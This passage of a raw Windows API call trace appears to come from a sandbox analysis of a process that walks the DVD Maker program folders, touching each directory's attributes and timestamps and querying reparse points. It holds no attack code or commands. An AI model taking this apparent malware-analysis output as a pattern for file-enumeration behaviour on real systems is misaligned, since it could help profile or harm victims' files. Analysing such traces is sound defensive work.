ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae41910, ftCreationTime.dwHighDateTime=0x1d56ee3, ftLastAccessTime.dwLowDateTime=0xd069a940, ftLastAccessTime.dwHighDateTime=0x1d56e8c, ftLastWriteTime.dwLowDateTime=0xd069a940, ftLastWriteTime.dwHighDateTime=0x1d56e8c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="radio_move_getting.exe", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0402f20, ftCreationTime.dwHighDateTime=0x1d59b6b, ftLastAccessTime.dwLowDateTime=0x48e72770, ftLastAccessTime.dwHighDateTime=0x1d54418, ftLastWriteTime.dwLowDateTime=0x48e72770, ftLastWriteTime.dwHighDateTime=0x1d54418, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0065.948] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.948] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.949] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0065.949] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0065.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb9798 [0065.949] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb9798, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfb9798, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0065.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb9798) returned 1 [0065.949] NtClose (Handle=0x198) returned 0x0 [0065.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7c90 [0065.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7d18 [0065.949] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d260 [0065.953] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.953] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0065.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb45c0 [0065.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7fc0 [0065.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.954] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb45e0 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8048 [0065.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.954] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4600 [0065.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb80d0 [0065.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.954] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4620 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8158 [0065.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4640 [0065.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb81e0 [0065.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0065.955] GetLastError () returned 0x12 [0065.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0065.955] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.955] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0065.956] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0065.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.956] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0065.956] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb9798 [0065.956] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb9798, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb9798, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb9798) returned 1 [0065.956] NtClose (Handle=0x198) returned 0x0 [0065.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8268 [0065.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb82f0 [0065.956] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0065.963] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.965] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0065.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.965] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.965] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0065.965] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8268) returned 1 [0065.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4660 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb62d0 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4680 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb63d8 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb46a0 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb64e0 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb46c0 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb65e8 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xac0) returned 0xfaa438 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8d10) returned 1 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.967] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, 